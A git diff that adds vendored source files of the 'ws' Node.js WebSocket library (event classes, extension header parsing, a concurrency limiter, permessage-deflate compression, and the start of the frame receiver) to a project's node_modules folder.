||||
constructor(type, options = {}) {
|
||||
super(type);
|
||||
|
||||
this[kCode] = options.code === undefined ? 0 : options.code;
|
||||
this[kReason] = options.reason === undefined ? '' : options.reason;
|
||||
this[kWasClean] = options.wasClean === undefined ? false : options.wasClean;
|
||||
}
|
||||
|
||||
/**
|
||||
* @type {Number}
|
||||
*/
|
||||
get code() {
|
||||
return this[kCode];
|
||||
}
|
||||
|
||||
/**
|
||||
* @type {String}
|
||||
*/
|
||||
get reason() {
|
||||
return this[kReason];
|
||||
}
|
||||
|
||||
/**
|
||||
* @type {Boolean}
|
||||
*/
|
||||
get wasClean() {
|
||||
return this[kWasClean];
|
||||
}
|
||||
}
|
||||
|
||||
Object.defineProperty(CloseEvent.prototype, 'code', { enumerable: true });
|
||||
Object.defineProperty(CloseEvent.prototype, 'reason', { enumerable: true });
|
||||
Object.defineProperty(CloseEvent.prototype, 'wasClean', { enumerable: true });
|
||||
|
||||
/**
|
||||
* Class representing an error event.
|
||||
*
|
||||
* @extends Event
|
||||
*/
|
||||
class ErrorEvent extends Event {
|
||||
/**
|
||||
* Create a new `ErrorEvent`.
|
||||
*
|
||||
* @param {String} type The name of the event
|
||||
* @param {Object} [options] A dictionary object that allows for setting
|
||||
* attributes via object members of the same name
|
||||
* @param {*} [options.error=null] The error that generated this event
|
||||
* @param {String} [options.message=''] The error message
|
||||
*/
|
||||
constructor(type, options = {}) {
|
||||
super(type);
|
||||
|
||||
this[kError] = options.error === undefined ? null : options.error;
|
||||
this[kMessage] = options.message === undefined ? '' : options.message;
|
||||
}
|
||||
|
||||
/**
|
||||
* @type {*}
|
||||
*/
|
||||
get error() {
|
||||
return this[kError];
|
||||
}
|
||||
|
||||
/**
|
||||
* @type {String}
|
||||
*/
|
||||
get message() {
|
||||
return this[kMessage];
|
||||
}
|
||||
}
|
||||
|
||||
Object.defineProperty(ErrorEvent.prototype, 'error', { enumerable: true });
|
||||
Object.defineProperty(ErrorEvent.prototype, 'message', { enumerable: true });
|
||||
|
||||
/**
|
||||
* Class representing a message event.
|
||||
*
|
||||
* @extends Event
|
||||
*/
|
||||
class MessageEvent extends Event {
|
||||
/**
|
||||
* Create a new `MessageEvent`.
|
||||
*
|
||||
* @param {String} type The name of the event
|
||||
* @param {Object} [options] A dictionary object that allows for setting
|
||||
* attributes via object members of the same name
|
||||
* @param {*} [options.data=null] The message content
|
||||
*/
|
||||
constructor(type, options = {}) {
|
||||
super(type);
|
||||
|
||||
this[kData] = options.data === undefined ? null : options.data;
|
||||
}
|
||||
|
||||
/**
|
||||
* @type {*}
|
||||
*/
|
||||
get data() {
|
||||
return this[kData];
|
||||
}
|
||||
}
|
||||
|
||||
Object.defineProperty(MessageEvent.prototype, 'data', { enumerable: true });
|
||||
|
||||
/**
|
||||
* This provides methods for emulating the `EventTarget` interface. It's not
|
||||
* meant to be used directly.
|
||||
*
|
||||
* @mixin
|
||||
*/
|
||||
const EventTarget = {
|
||||
/**
|
||||
* Register an event listener.
|
||||
*
|
||||
* @param {String} type A string representing the event type to listen for
|
||||
* @param {Function} listener The listener to add
|
||||
* @param {Object} [options] An options object specifies characteristics about
|
||||
* the event listener
|
||||
* @param {Boolean} [options.once=false] A `Boolean` indicating that the
|
||||
* listener should be invoked at most once after being added. If `true`,
|
||||
* the listener would be automatically removed when invoked.
|
||||
* @public
|
||||
*/
|
||||
addEventListener(type, listener, options = {}) {
|
||||
let wrapper;
|
||||
|
||||
if (type === 'message') {
|
||||
wrapper = function onMessage(data, isBinary) {
|
||||
const event = new MessageEvent('message', {
|
||||
data: isBinary ? data : data.toString()
|
||||
});
|
||||
|
||||
event[kTarget] = this;
|
||||
listener.call(this, event);
|
||||
};
|
||||
} else if (type === 'close') {
|
||||
wrapper = function onClose(code, message) {
|
||||
const event = new CloseEvent('close', {
|
||||
code,
|
||||
reason: message.toString(),
|
||||
wasClean: this._closeFrameReceived && this._closeFrameSent
|
||||
});
|
||||
|
||||
event[kTarget] = this;
|
||||
listener.call(this, event);
|
||||
};
|
||||
} else if (type === 'error') {
|
||||
wrapper = function onError(error) {
|
||||
const event = new ErrorEvent('error', {
|
||||
error,
|
||||
message: error.message
|
||||
});
|
||||
|
||||
event[kTarget] = this;
|
||||
listener.call(this, event);
|
||||
};
|
||||
} else if (type === 'open') {
|
||||
wrapper = function onOpen() {
|
||||
const event = new Event('open');
|
||||
|
||||
event[kTarget] = this;
|
||||
listener.call(this, event);
|
||||
};
|
||||
} else {
|
||||
return;
|
||||
}
|
||||
|
||||
wrapper[kForOnEventAttribute] = !!options[kForOnEventAttribute];
|
||||
wrapper[kListener] = listener;
|
||||
|
||||
if (options.once) {
|
||||
this.once(type, wrapper);
|
||||
} else {
|
||||
this.on(type, wrapper);
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
* Remove an event listener.
|
||||
*
|
||||
* @param {String} type A string representing the event type to remove
|
||||
* @param {Function} handler The listener to remove
|
||||
* @public
|
||||
*/
|
||||
removeEventListener(type, handler) {
|
||||
for (const listener of this.listeners(type)) {
|
||||
if (listener[kListener] === handler && !listener[kForOnEventAttribute]) {
|
||||
this.removeListener(type, listener);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
module.exports = {
|
||||
CloseEvent,
|
||||
ErrorEvent,
|
||||
Event,
|
||||
EventTarget,
|
||||
MessageEvent
|
||||
};
|
203
rng_farm/backend/node_modules/ws/lib/extension.js
generated
vendored
Normal file
203
rng_farm/backend/node_modules/ws/lib/extension.js
generated
vendored
Normal file
@ -0,0 +1,203 @@
|
||||
'use strict';
|
||||
|
||||
const { tokenChars } = require('./validation');
|
||||
|
||||
/**
|
||||
* Adds an offer to the map of extension offers or a parameter to the map of
|
||||
* parameters.
|
||||
*
|
||||
* @param {Object} dest The map of extension offers or parameters
|
||||
* @param {String} name The extension or parameter name
|
||||
* @param {(Object|Boolean|String)} elem The extension parameters or the
|
||||
* parameter value
|
||||
* @private
|
||||
*/
|
||||
function push(dest, name, elem) {
|
||||
if (dest[name] === undefined) dest[name] = [elem];
|
||||
else dest[name].push(elem);
|
||||
}
|
||||
|
||||
/**
|
||||
* Parses the `Sec-WebSocket-Extensions` header into an object.
|
||||
*
|
||||
* @param {String} header The field value of the header
|
||||
* @return {Object} The parsed object
|
||||
* @public
|
||||
*/
|
||||
function parse(header) {
|
||||
const offers = Object.create(null);
|
||||
let params = Object.create(null);
|
||||
let mustUnescape = false;
|
||||
let isEscaping = false;
|
||||
let inQuotes = false;
|
||||
let extensionName;
|
||||
let paramName;
|
||||
let start = -1;
|
||||
let code = -1;
|
||||
let end = -1;
|
||||
let i = 0;
|
||||
|
||||
for (; i < header.length; i++) {
|
||||
code = header.charCodeAt(i);
|
||||
|
||||
if (extensionName === undefined) {
|
||||
if (end === -1 && tokenChars[code] === 1) {
|
||||
if (start === -1) start = i;
|
||||
} else if (
|
||||
i !== 0 &&
|
||||
(code === 0x20 /* ' ' */ || code === 0x09) /* '\t' */
|
||||
) {
|
||||
if (end === -1 && start !== -1) end = i;
|
||||
} else if (code === 0x3b /* ';' */ || code === 0x2c /* ',' */) {
|
||||
if (start === -1) {
|
||||
throw new SyntaxError(`Unexpected character at index ${i}`);
|
||||
}
|
||||
|
||||
if (end === -1) end = i;
|
||||
const name = header.slice(start, end);
|
||||
if (code === 0x2c) {
|
||||
push(offers, name, params);
|
||||
params = Object.create(null);
|
||||
} else {
|
||||
extensionName = name;
|
||||
}
|
||||
|
||||
start = end = -1;
|
||||
} else {
|
||||
throw new SyntaxError(`Unexpected character at index ${i}`);
|
||||
}
|
||||
} else if (paramName === undefined) {
|
||||
if (end === -1 && tokenChars[code] === 1) {
|
||||
if (start === -1) start = i;
|
||||
} else if (code === 0x20 || code === 0x09) {
|
||||
if (end === -1 && start !== -1) end = i;
|
||||
} else if (code === 0x3b || code === 0x2c) {
|
||||
if (start === -1) {
|
||||
throw new SyntaxError(`Unexpected character at index ${i}`);
|
||||
}
|
||||
|
||||
if (end === -1) end = i;
|
||||
push(params, header.slice(start, end), true);
|
||||
if (code === 0x2c) {
|
||||
push(offers, extensionName, params);
|
||||
params = Object.create(null);
|
||||
extensionName = undefined;
|
||||
}
|
||||
|
||||
start = end = -1;
|
||||
} else if (code === 0x3d /* '=' */ && start !== -1 && end === -1) {
|
||||
paramName = header.slice(start, i);
|
||||
start = end = -1;
|
||||
} else {
|
||||
throw new SyntaxError(`Unexpected character at index ${i}`);
|
||||
}
|
||||
} else {
|
||||
//
|
||||
// The value of a quoted-string after unescaping must conform to the
|
||||
// token ABNF, so only token characters are valid.
|
||||
// Ref: https://tools.ietf.org/html/rfc6455#section-9.1
|
||||
//
|
||||
if (isEscaping) {
|
||||
if (tokenChars[code] !== 1) {
|
||||
throw new SyntaxError(`Unexpected character at index ${i}`);
|
||||
}
|
||||
if (start === -1) start = i;
|
||||
else if (!mustUnescape) mustUnescape = true;
|
||||
isEscaping = false;
|
||||
} else if (inQuotes) {
|
||||
if (tokenChars[code] === 1) {
|
||||
if (start === -1) start = i;
|
||||
} else if (code === 0x22 /* '"' */ && start !== -1) {
|
||||
inQuotes = false;
|
||||
end = i;
|
||||
} else if (code === 0x5c /* '\' */) {
|
||||
isEscaping = true;
|
||||
} else {
|
||||
throw new SyntaxError(`Unexpected character at index ${i}`);
|
||||
}
|
||||
} else if (code === 0x22 && header.charCodeAt(i - 1) === 0x3d) {
|
||||
inQuotes = true;
|
||||
} else if (end === -1 && tokenChars[code] === 1) {
|
||||
if (start === -1) start = i;
|
||||
} else if (start !== -1 && (code === 0x20 || code === 0x09)) {
|
||||
if (end === -1) end = i;
|
||||
} else if (code === 0x3b || code === 0x2c) {
|
||||
if (start === -1) {
|
||||
throw new SyntaxError(`Unexpected character at index ${i}`);
|
||||
}
|
||||
|
||||
if (end === -1) end = i;
|
||||
let value = header.slice(start, end);
|
||||
if (mustUnescape) {
|
||||
value = value.replace(/\\/g, '');
|
||||
mustUnescape = false;
|
||||
}
|
||||
push(params, paramName, value);
|
||||
if (code === 0x2c) {
|
||||
push(offers, extensionName, params);
|
||||
params = Object.create(null);
|
||||
extensionName = undefined;
|
||||
}
|
||||
|
||||
paramName = undefined;
|
||||
start = end = -1;
|
||||
} else {
|
||||
throw new SyntaxError(`Unexpected character at index ${i}`);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (start === -1 || inQuotes || code === 0x20 || code === 0x09) {
|
||||
throw new SyntaxError('Unexpected end of input');
|
||||
}
|
||||
|
||||
if (end === -1) end = i;
|
||||
const token = header.slice(start, end);
|
||||
if (extensionName === undefined) {
|
||||
push(offers, token, params);
|
||||
} else {
|
||||
if (paramName === undefined) {
|
||||
push(params, token, true);
|
||||
} else if (mustUnescape) {
|
||||
push(params, paramName, token.replace(/\\/g, ''));
|
||||
} else {
|
||||
push(params, paramName, token);
|
||||
}
|
||||
push(offers, extensionName, params);
|
||||
}
|
||||
|
||||
return offers;
|
||||
}
|
||||
|
||||
/**
|
||||
* Builds the `Sec-WebSocket-Extensions` header field value.
|
||||
*
|
||||
* @param {Object} extensions The map of extensions and parameters to format
|
||||
* @return {String} A string representing the given object
|
||||
* @public
|
||||
*/
|
||||
function format(extensions) {
|
||||
return Object.keys(extensions)
|
||||
.map((extension) => {
|
||||
let configurations = extensions[extension];
|
||||
if (!Array.isArray(configurations)) configurations = [configurations];
|
||||
return configurations
|
||||
.map((params) => {
|
||||
return [extension]
|
||||
.concat(
|
||||
Object.keys(params).map((k) => {
|
||||
let values = params[k];
|
||||
if (!Array.isArray(values)) values = [values];
|
||||
return values
|
||||
.map((v) => (v === true ? k : `${k}=${v}`))
|
||||
.join('; ');
|
||||
})
|
||||
)
|
||||
.join('; ');
|
||||
})
|
||||
.join(', ');
|
||||
})
|
||||
.join(', ');
|
||||
}
|
||||
|
||||
module.exports = { format, parse };
|
55
rng_farm/backend/node_modules/ws/lib/limiter.js
generated
vendored
Normal file
55
rng_farm/backend/node_modules/ws/lib/limiter.js
generated
vendored
Normal file
@ -0,0 +1,55 @@
|
||||
'use strict';
|
||||
|
||||
const kDone = Symbol('kDone');
|
||||
const kRun = Symbol('kRun');
|
||||
|
||||
/**
|
||||
* A very simple job queue with adjustable concurrency. Adapted from
|
||||
* https://github.com/STRML/async-limiter
|
||||
*/
|
||||
class Limiter {
|
||||
/**
|
||||
* Creates a new `Limiter`.
|
||||
*
|
||||
* @param {Number} [concurrency=Infinity] The maximum number of jobs allowed
|
||||
* to run concurrently
|
||||
*/
|
||||
constructor(concurrency) {
|
||||
this[kDone] = () => {
|
||||
this.pending--;
|
||||
this[kRun]();
|
||||
};
|
||||
this.concurrency = concurrency || Infinity;
|
||||
this.jobs = [];
|
||||
this.pending = 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Adds a job to the queue.
|
||||
*
|
||||
* @param {Function} job The job to run
|
||||
* @public
|
||||
*/
|
||||
add(job) {
|
||||
this.jobs.push(job);
|
||||
this[kRun]();
|
||||
}
|
||||
|
||||
/**
|
||||
* Removes a job from the queue and runs it if possible.
|
||||
*
|
||||
* @private
|
||||
*/
|
||||
[kRun]() {
|
||||
if (this.pending === this.concurrency) return;
|
||||
|
||||
if (this.jobs.length) {
|
||||
const job = this.jobs.shift();
|
||||
|
||||
this.pending++;
|
||||
job(this[kDone]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = Limiter;
|
511
rng_farm/backend/node_modules/ws/lib/permessage-deflate.js
generated
vendored
Normal file
511
rng_farm/backend/node_modules/ws/lib/permessage-deflate.js
generated
vendored
Normal file
@ -0,0 +1,511 @@
|
||||
'use strict';
|
||||
|
||||
const zlib = require('zlib');
|
||||
|
||||
const bufferUtil = require('./buffer-util');
|
||||
const Limiter = require('./limiter');
|
||||
const { kStatusCode } = require('./constants');
|
||||
|
||||
const TRAILER = Buffer.from([0x00, 0x00, 0xff, 0xff]);
|
||||
const kPerMessageDeflate = Symbol('permessage-deflate');
|
||||
const kTotalLength = Symbol('total-length');
|
||||
const kCallback = Symbol('callback');
|
||||
const kBuffers = Symbol('buffers');
|
||||
const kError = Symbol('error');
|
||||
|
||||
//
|
||||
// We limit zlib concurrency, which prevents severe memory fragmentation
|
||||
// as documented in https://github.com/nodejs/node/issues/8871#issuecomment-250915913
|
||||
// and https://github.com/websockets/ws/issues/1202
|
||||
//
|
||||
// Intentionally global; it's the global thread pool that's an issue.
|
||||
//
|
||||
let zlibLimiter;
|
||||
|
||||
/**
|
||||
* permessage-deflate implementation.
|
||||
*/
|
||||
class PerMessageDeflate {
|
||||
/**
|
||||
* Creates a PerMessageDeflate instance.
|
||||
*
|
||||
* @param {Object} [options] Configuration options
|
||||
* @param {(Boolean|Number)} [options.clientMaxWindowBits] Advertise support
|
||||
* for, or request, a custom client window size
|
||||
* @param {Boolean} [options.clientNoContextTakeover=false] Advertise/
|
||||
* acknowledge disabling of client context takeover
|
||||
* @param {Number} [options.concurrencyLimit=10] The number of concurrent
|
||||
* calls to zlib
|
||||
* @param {(Boolean|Number)} [options.serverMaxWindowBits] Request/confirm the
|
||||
* use of a custom server window size
|
||||
* @param {Boolean} [options.serverNoContextTakeover=false] Request/accept
|
||||
* disabling of server context takeover
|
||||
* @param {Number} [options.threshold=1024] Size (in bytes) below which
|
||||
* messages should not be compressed if context takeover is disabled
|
||||
* @param {Object} [options.zlibDeflateOptions] Options to pass to zlib on
|
||||
* deflate
|
||||
* @param {Object} [options.zlibInflateOptions] Options to pass to zlib on
|
||||
* inflate
|
||||
* @param {Boolean} [isServer=false] Create the instance in either server or
|
||||
* client mode
|
||||
* @param {Number} [maxPayload=0] The maximum allowed message length
|
||||
*/
|
||||
constructor(options, isServer, maxPayload) {
|
||||
this._maxPayload = maxPayload | 0;
|
||||
this._options = options || {};
|
||||
this._threshold =
|
||||
this._options.threshold !== undefined ? this._options.threshold : 1024;
|
||||
this._isServer = !!isServer;
|
||||
this._deflate = null;
|
||||
this._inflate = null;
|
||||
|
||||
this.params = null;
|
||||
|
||||
if (!zlibLimiter) {
|
||||
const concurrency =
|
||||
this._options.concurrencyLimit !== undefined
|
||||
? this._options.concurrencyLimit
|
||||
: 10;
|
||||
zlibLimiter = new Limiter(concurrency);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @type {String}
|
||||
*/
|
||||
static get extensionName() {
|
||||
return 'permessage-deflate';
|
||||
}
|
||||
|
||||
/**
|
||||
* Create an extension negotiation offer.
|
||||
*
|
||||
* @return {Object} Extension parameters
|
||||
* @public
|
||||
*/
|
||||
offer() {
|
||||
const params = {};
|
||||
|
||||
if (this._options.serverNoContextTakeover) {
|
||||
params.server_no_context_takeover = true;
|
||||
}
|
||||
if (this._options.clientNoContextTakeover) {
|
||||
params.client_no_context_takeover = true;
|
||||
}
|
||||
if (this._options.serverMaxWindowBits) {
|
||||
params.server_max_window_bits = this._options.serverMaxWindowBits;
|
||||
}
|
||||
if (this._options.clientMaxWindowBits) {
|
||||
params.client_max_window_bits = this._options.clientMaxWindowBits;
|
||||
} else if (this._options.clientMaxWindowBits == null) {
|
||||
params.client_max_window_bits = true;
|
||||
}
|
||||
|
||||
return params;
|
||||
}
|
||||
|
||||
/**
|
||||
* Accept an extension negotiation offer/response.
|
||||
*
|
||||
* @param {Array} configurations The extension negotiation offers/reponse
|
||||
* @return {Object} Accepted configuration
|
||||
* @public
|
||||
*/
|
||||
accept(configurations) {
|
||||
configurations = this.normalizeParams(configurations);
|
||||
|
||||
this.params = this._isServer
|
||||
? this.acceptAsServer(configurations)
|
||||
: this.acceptAsClient(configurations);
|
||||
|
||||
return this.params;
|
||||
}
|
||||
|
||||
/**
|
||||
* Releases all resources used by the extension.
|
||||
*
|
||||
* @public
|
||||
*/
|
||||
cleanup() {
|
||||
if (this._inflate) {
|
||||
this._inflate.close();
|
||||
this._inflate = null;
|
||||
}
|
||||
|
||||
if (this._deflate) {
|
||||
const callback = this._deflate[kCallback];
|
||||
|
||||
this._deflate.close();
|
||||
this._deflate = null;
|
||||
|
||||
if (callback) {
|
||||
callback(
|
||||
new Error(
|
||||
'The deflate stream was closed while data was being processed'
|
||||
)
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Accept an extension negotiation offer.
|
||||
*
|
||||
* @param {Array} offers The extension negotiation offers
|
||||
* @return {Object} Accepted configuration
|
||||
* @private
|
||||
*/
|
||||
acceptAsServer(offers) {
|
||||
const opts = this._options;
|
||||
const accepted = offers.find((params) => {
|
||||
if (
|
||||
(opts.serverNoContextTakeover === false &&
|
||||
params.server_no_context_takeover) ||
|
||||
(params.server_max_window_bits &&
|
||||
(opts.serverMaxWindowBits === false ||
|
||||
(typeof opts.serverMaxWindowBits === 'number' &&
|
||||
opts.serverMaxWindowBits > params.server_max_window_bits))) ||
|
||||
(typeof opts.clientMaxWindowBits === 'number' &&
|
||||
!params.client_max_window_bits)
|
||||
) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
});
|
||||
|
||||
if (!accepted) {
|
||||
throw new Error('None of the extension offers can be accepted');
|
||||
}
|
||||
|
||||
if (opts.serverNoContextTakeover) {
|
||||
accepted.server_no_context_takeover = true;
|
||||
}
|
||||
if (opts.clientNoContextTakeover) {
|
||||
accepted.client_no_context_takeover = true;
|
||||
}
|
||||
if (typeof opts.serverMaxWindowBits === 'number') {
|
||||
accepted.server_max_window_bits = opts.serverMaxWindowBits;
|
||||
}
|
||||
if (typeof opts.clientMaxWindowBits === 'number') {
|
||||
accepted.client_max_window_bits = opts.clientMaxWindowBits;
|
||||
} else if (
|
||||
accepted.client_max_window_bits === true ||
|
||||
opts.clientMaxWindowBits === false
|
||||
) {
|
||||
delete accepted.client_max_window_bits;
|
||||
}
|
||||
|
||||
return accepted;
|
||||
}
|
||||
|
||||
/**
|
||||
* Accept the extension negotiation response.
|
||||
*
|
||||
* @param {Array} response The extension negotiation response
|
||||
* @return {Object} Accepted configuration
|
||||
* @private
|
||||
*/
|
||||
acceptAsClient(response) {
|
||||
const params = response[0];
|
||||
|
||||
if (
|
||||
this._options.clientNoContextTakeover === false &&
|
||||
params.client_no_context_takeover
|
||||
) {
|
||||
throw new Error('Unexpected parameter "client_no_context_takeover"');
|
||||
}
|
||||
|
||||
if (!params.client_max_window_bits) {
|
||||
if (typeof this._options.clientMaxWindowBits === 'number') {
|
||||
params.client_max_window_bits = this._options.clientMaxWindowBits;
|
||||
}
|
||||
} else if (
|
||||
this._options.clientMaxWindowBits === false ||
|
||||
(typeof this._options.clientMaxWindowBits === 'number' &&
|
||||
params.client_max_window_bits > this._options.clientMaxWindowBits)
|
||||
) {
|
||||
throw new Error(
|
||||
'Unexpected or invalid parameter "client_max_window_bits"'
|
||||
);
|
||||
}
|
||||
|
||||
return params;
|
||||
}
|
||||
|
||||
/**
|
||||
* Normalize parameters.
|
||||
*
|
||||
* @param {Array} configurations The extension negotiation offers/reponse
|
||||
* @return {Array} The offers/response with normalized parameters
|
||||
* @private
|
||||
*/
|
||||
normalizeParams(configurations) {
|
||||
configurations.forEach((params) => {
|
||||
Object.keys(params).forEach((key) => {
|
||||
let value = params[key];
|
||||
|
||||
if (value.length > 1) {
|
||||
throw new Error(`Parameter "${key}" must have only a single value`);
|
||||
}
|
||||
|
||||
value = value[0];
|
||||
|
||||
if (key === 'client_max_window_bits') {
|
||||
if (value !== true) {
|
||||
const num = +value;
|
||||
if (!Number.isInteger(num) || num < 8 || num > 15) {
|
||||
throw new TypeError(
|
||||
`Invalid value for parameter "${key}": ${value}`
|
||||
);
|
||||
}
|
||||
value = num;
|
||||
} else if (!this._isServer) {
|
||||
throw new TypeError(
|
||||
`Invalid value for parameter "${key}": ${value}`
|
||||
);
|
||||
}
|
||||
} else if (key === 'server_max_window_bits') {
|
||||
const num = +value;
|
||||
if (!Number.isInteger(num) || num < 8 || num > 15) {
|
||||
throw new TypeError(
|
||||
`Invalid value for parameter "${key}": ${value}`
|
||||
);
|
||||
}
|
||||
value = num;
|
||||
} else if (
|
||||
key === 'client_no_context_takeover' ||
|
||||
key === 'server_no_context_takeover'
|
||||
) {
|
||||
if (value !== true) {
|
||||
throw new TypeError(
|
||||
`Invalid value for parameter "${key}": ${value}`
|
||||
);
|
||||
}
|
||||
} else {
|
||||
throw new Error(`Unknown parameter "${key}"`);
|
||||
}
|
||||
|
||||
params[key] = value;
|
||||
});
|
||||
});
|
||||
|
||||
return configurations;
|
||||
}
|
||||
|
||||
/**
|
||||
* Decompress data. Concurrency limited.
|
||||
*
|
||||
* @param {Buffer} data Compressed data
|
||||
* @param {Boolean} fin Specifies whether or not this is the last fragment
|
||||
* @param {Function} callback Callback
|
||||
* @public
|
||||
*/
|
||||
decompress(data, fin, callback) {
|
||||
zlibLimiter.add((done) => {
|
||||
this._decompress(data, fin, (err, result) => {
|
||||
done();
|
||||
callback(err, result);
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Compress data. Concurrency limited.
|
||||
*
|
||||
* @param {Buffer} data Data to compress
|
||||
* @param {Boolean} fin Specifies whether or not this is the last fragment
|
||||
* @param {Function} callback Callback
|
||||
* @public
|
||||
*/
|
||||
compress(data, fin, callback) {
|
||||
zlibLimiter.add((done) => {
|
||||
this._compress(data, fin, (err, result) => {
|
||||
done();
|
||||
callback(err, result);
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Decompress data.
|
||||
*
|
||||
* @param {Buffer} data Compressed data
|
||||
* @param {Boolean} fin Specifies whether or not this is the last fragment
|
||||
* @param {Function} callback Callback
|
||||
* @private
|
||||
*/
|
||||
_decompress(data, fin, callback) {
|
||||
const endpoint = this._isServer ? 'client' : 'server';
|
||||
|
||||
if (!this._inflate) {
|
||||
const key = `${endpoint}_max_window_bits`;
|
||||
const windowBits =
|
||||
typeof this.params[key] !== 'number'
|
||||
? zlib.Z_DEFAULT_WINDOWBITS
|
||||
: this.params[key];
|
||||
|
||||
this._inflate = zlib.createInflateRaw({
|
||||
...this._options.zlibInflateOptions,
|
||||
windowBits
|
||||
});
|
||||
this._inflate[kPerMessageDeflate] = this;
|
||||
this._inflate[kTotalLength] = 0;
|
||||
this._inflate[kBuffers] = [];
|
||||
this._inflate.on('error', inflateOnError);
|
||||
this._inflate.on('data', inflateOnData);
|
||||
}
|
||||
|
||||
this._inflate[kCallback] = callback;
|
||||
|
||||
this._inflate.write(data);
|
||||
if (fin) this._inflate.write(TRAILER);
|
||||
|
||||
this._inflate.flush(() => {
|
||||
const err = this._inflate[kError];
|
||||
|
||||
if (err) {
|
||||
this._inflate.close();
|
||||
this._inflate = null;
|
||||
callback(err);
|
||||
return;
|
||||
}
|
||||
|
||||
const data = bufferUtil.concat(
|
||||
this._inflate[kBuffers],
|
||||
this._inflate[kTotalLength]
|
||||
);
|
||||
|
||||
if (this._inflate._readableState.endEmitted) {
|
||||
this._inflate.close();
|
||||
this._inflate = null;
|
||||
} else {
|
||||
this._inflate[kTotalLength] = 0;
|
||||
this._inflate[kBuffers] = [];
|
||||
|
||||
if (fin && this.params[`${endpoint}_no_context_takeover`]) {
|
||||
this._inflate.reset();
|
||||
}
|
||||
}
|
||||
|
||||
callback(null, data);
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Compress data.
|
||||
*
|
||||
* @param {Buffer} data Data to compress
|
||||
* @param {Boolean} fin Specifies whether or not this is the last fragment
|
||||
* @param {Function} callback Callback
|
||||
* @private
|
||||
*/
|
||||
_compress(data, fin, callback) {
|
||||
const endpoint = this._isServer ? 'server' : 'client';
|
||||
|
||||
if (!this._deflate) {
|
||||
const key = `${endpoint}_max_window_bits`;
|
||||
const windowBits =
|
||||
typeof this.params[key] !== 'number'
|
||||
? zlib.Z_DEFAULT_WINDOWBITS
|
||||
: this.params[key];
|
||||
|
||||
this._deflate = zlib.createDeflateRaw({
|
||||
...this._options.zlibDeflateOptions,
|
||||
windowBits
|
||||
});
|
||||
|
||||
this._deflate[kTotalLength] = 0;
|
||||
this._deflate[kBuffers] = [];
|
||||
|
||||
this._deflate.on('data', deflateOnData);
|
||||
}
|
||||
|
||||
this._deflate[kCallback] = callback;
|
||||
|
||||
this._deflate.write(data);
|
||||
this._deflate.flush(zlib.Z_SYNC_FLUSH, () => {
|
||||
if (!this._deflate) {
|
||||
//
|
||||
// The deflate stream was closed while data was being processed.
|
||||
//
|
||||
return;
|
||||
}
|
||||
|
||||
let data = bufferUtil.concat(
|
||||
this._deflate[kBuffers],
|
||||
this._deflate[kTotalLength]
|
||||
);
|
||||
|
||||
if (fin) data = data.slice(0, data.length - 4);
|
||||
|
||||
//
|
||||
// Ensure that the callback will not be called again in
|
||||
// `PerMessageDeflate#cleanup()`.
|
||||
//
|
||||
this._deflate[kCallback] = null;
|
||||
|
||||
this._deflate[kTotalLength] = 0;
|
||||
this._deflate[kBuffers] = [];
|
||||
|
||||
if (fin && this.params[`${endpoint}_no_context_takeover`]) {
|
||||
this._deflate.reset();
|
||||
}
|
||||
|
||||
callback(null, data);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = PerMessageDeflate;
|
||||
|
||||
/**
|
||||
* The listener of the `zlib.DeflateRaw` stream `'data'` event.
|
||||
*
|
||||
* @param {Buffer} chunk A chunk of data
|
||||
* @private
|
||||
*/
|
||||
function deflateOnData(chunk) {
|
||||
this[kBuffers].push(chunk);
|
||||
this[kTotalLength] += chunk.length;
|
||||
}
|
||||
|
||||
/**
|
||||
* The listener of the `zlib.InflateRaw` stream `'data'` event.
|
||||
*
|
||||
* @param {Buffer} chunk A chunk of data
|
||||
* @private
|
||||
*/
|
||||
function inflateOnData(chunk) {
|
||||
this[kTotalLength] += chunk.length;
|
||||
|
||||
if (
|
||||
this[kPerMessageDeflate]._maxPayload < 1 ||
|
||||
this[kTotalLength] <= this[kPerMessageDeflate]._maxPayload
|
||||
) {
|
||||
this[kBuffers].push(chunk);
|
||||
return;
|
||||
}
|
||||
|
||||
this[kError] = new RangeError('Max payload size exceeded');
|
||||
this[kError].code = 'WS_ERR_UNSUPPORTED_MESSAGE_LENGTH';
|
||||
this[kError][kStatusCode] = 1009;
|
||||
this.removeListener('data', inflateOnData);
|
||||
this.reset();
|
||||
}
|
||||
|
||||
/**
|
||||
* The listener of the `zlib.InflateRaw` stream `'error'` event.
|
||||
*
|
||||
* @param {Error} err The emitted error
|
||||
* @private
|
||||
*/
|
||||
function inflateOnError(err) {
|
||||
//
|
||||
// There is no need to call `Zlib#close()` as the handle is automatically
|
||||
// closed when an error is emitted.
|
||||
//
|
||||
this[kPerMessageDeflate]._inflate = null;
|
||||
err[kStatusCode] = 1007;
|
||||
this[kCallback](err);
|
||||
}
|
612
rng_farm/backend/node_modules/ws/lib/receiver.js
generated
vendored
Normal file
612
rng_farm/backend/node_modules/ws/lib/receiver.js
generated
vendored
Normal file
@ -0,0 +1,612 @@
|
||||
'use strict';
|
||||
|
||||
const { Writable } = require('stream');
|
||||
|
||||
const PerMessageDeflate = require('./permessage-deflate');
|
||||
const {
|
||||
BINARY_TYPES,
|
||||
EMPTY_BUFFER,
|
||||
kStatusCode,
|
||||
kWebSocket
|
||||
} = require('./constants');
|
||||
const { concat, toArrayBuffer, unmask } = require('./buffer-util');
|
||||
const { isValidStatusCode, isValidUTF8 } = require('./validation');
|
||||
|
||||
const GET_INFO = 0;
|
||||
const GET_PAYLOAD_LENGTH_16 = 1;
|
||||
const GET_PAYLOAD_LENGTH_64 = 2;
|
||||
const GET_MASK = 3;
|
||||
const GET_DATA = 4;
|
||||
const INFLATING = 5;
|
||||
|
||||
/**
|
||||
* HyBi Receiver implementation.
|
||||
*
|
||||
* @extends Writable
|
||||
*/
|
||||
